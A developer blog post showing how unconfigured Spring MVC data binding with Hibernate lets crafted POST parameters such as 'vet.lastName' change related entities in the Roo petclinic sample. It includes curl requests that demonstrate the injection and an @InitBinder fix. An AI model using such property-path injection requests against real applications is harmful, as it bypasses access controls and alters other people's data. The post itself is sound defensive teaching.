The dark secret of CRUD applications using Spring MVC

Do you use Spring MVC with an OpenSessionInView filter and your Entities also as Data Transfer Objects, like in a basic CRUD setup? Then you may have exposed more of your model than you've anticipated.

The easy to use Databinding of Spring MVC will, unconfigured, bind any property in the incoming POST to your domain model, including those not present in the form. To make matters worse, it is also possible to navigate property paths and modify other objects in the domain model. They will get saved too if you have a transaction because of Hibernate's automatic dirty checking. If you use Spring Roo with Hibernate and Spring MVC this is the default behavior.

In this blogpost, I will demonstrate this feature and show you how to fix it.


Setup


First we'll need an application to subvert. I'll assume that you've got Maven installed.

The easiest way to get one is to take Spring Roo (spring-roo-1.2.3.RELEASE) and use the petclinic sample application. Spring Roo can be downloaded here. Unpack it somewhere and open up a command prompt.

First we'll need to setup the ROO_HOME environment variable and add it to the path. The following is for Windows:
set ROO_HOME=D:\path\to\spring-roo-1.2.3.RELEASE
set PATH=%PATH%;%ROO_HOME%\bin

Good, now you've been Roo enabled, its time to create and start the sample application.
mkdir petclinic
cd petclinic
copy %ROO_HOME%\samples\clinic.roo .
roo
script --file clinic.roo
exit
mvn tomcat:run

This will create the petclinic application and start it in tomcat. The application is now accessible in your browser on http://localhost:8080/petclinic

Prepare the Data


Next we'll need to setup some data. We'll use CURL for that. If you don't have CURL you can download it from haxx.se. Open up another command prompt and copy and paste:
curl -d address=Ergens ^
-d birthDay="Mar 1, 2001" ^
-d city=Ergens ^
-d email=spam@42.nl ^
-d employedSince="Mar 1, 2001" ^
-d firstName="Anthony" ^
-d lastName="van der Berg" ^
-d speciality=Cardiology ^
-d telephone=0123456789 http://localhost:8080/petclinic/vets
curl -d address=Ergens ^
-d birthDay="Mar 1, 2001" ^
-d city=Somewhere ^
-d email="spam@42.nl" ^
-d firstName=Dora ^
-d lastName=Angora ^
-d telephone=0123456789 http://localhost:8080/petclinic/owners
curl -d _sendReminders=on ^
-d name=Woof ^
-d owner=1 ^
-d type=Dog ^
-d weight=12 http://localhost:8080/petclinic/pets
curl -d description="woof" ^
-d pet=1 ^
-d vet=1 ^
-d visitDate="Mar 1, 2001" http://localhost:8080/petclinic/visits

These commands should complete with out any output rendered. If you get a HTML page, something went wrong. For example you may have to adjust the dates to your locale. If you are on Linux you should use '\' instead of '^' to join the lines.

Open your browser and inspect the Vet, his last name is 'van der Berg'. http://localhost:8080/petclinic/vets?page=1&size=10

Unwanted Side Effects


Now we're going to do something that should not be possible. In the Visit edit form you cannot change the properties of the Vet. However, in the domain its possible to navigate from the Visit to the Vet. Let's see if we can do this with a special request of our own as well.
curl -d Version=0 ^
-d _method=PUT ^
-d description="Name change" ^
-d id=1 ^
-d pet=1 ^
-d vet=1 ^
-d visitDate="Mar 1, 2001" ^
-d vet.lastName=Rumpelstiltskin http://localhost:8080/petclinic/visits

If you check the Vet's last name again in your browser you'll find is has changed to Rumpelstiltskin. http://localhost:8080/petclinic/vets?page=1&size=10

How is this possible? Let's examine the request we have sent. The Version parameter is for optimistic locking, its increased by one every time the Visit changes. The _method parameter is to fake a PUT with parameters using a POST request (a limitation of the Servlet API). Then come the actual form parameters, nothing special there. This is what is normally sent from the browser to the application.

Now it's time for the special parameter: vet.lastName gets evaluated against the Visit already loaded in the session. The Visit has a vet property which is the Vet domain entity. It has a property lastName and the DataBinder writes the value into this property. Then the controller saves the Visit entity. Before closing the transaction Hibernate detects another modified entity in the session, the Vet, and saves it automatically.

There are several other fun things you can change, like changing Woof into a Cat:
curl -d Version=1 ^
-d _method=PUT ^
-d description="Name change" ^
-d id=1 ^
-d pet=1 ^
-d vet=1 ^
-d visitDate="Mar 1, 2001" ^
-d pet.type=Cat http://localhost:8080/petclinic/visits

Or change the name of the owner:
curl -d Version=1 ^
-d _method=PUT ^
-d description="Name change" ^
-d id=1 ^
-d pet=1 ^
-d vet=1 ^
-d visitDate="Mar 1, 2001" ^
-d pet.owner=2 ^
-d pet.owner.firstName=Flora http://localhost:8080/petclinic/visits

A Simple Solution


This is of course an 'all open' sample application. But if you have added role based access control to your CRUD application, you don't want it bypassed via the model from some low clearance CRUD form. The solution is simple, you need to configure the DataBinder using the @InitBinder annotation.

If you add following method to the VisitController class you'll find these property-path injections are no longer possible. It forbids the databinder to navigate the properties of pet and vet, which solves the problem with this form. An even better solution is to specify only the allowed fields using the setAllowedFields method but this becomes very tiresome if you have lots of fields.
    @InitBinder
protected void initBinder(WebDataBinder binder) {
binder.setDisallowedFields("pet.*", "vet.*");
}

Conclusion


To summarize, if you naively build a CRUD application based on reference documentation and tutorials you'll get some risky side effects for free. Preventing them is easy using by configuring the dataBinder. The hard part is finding out that you have these side effects in the first place.

It's not that there are no warnings against unconfigured use of databinding, its just that they are in non obvious locations. I'll bet you have not visited the following two pages:

 

1 comment:

  1. Thanks for the reminder. Setting disallowed fields is not entirely secure with entities changing over time. It is safer - but more tedious at the same time - to use setAllowedFields() instead.
    I am a bit puzzled, why using setAllowedFields is recommended and emphasized in the JavaDoc of the DataBinder class, but never mentioned in the Reference manual.

    ReplyDelete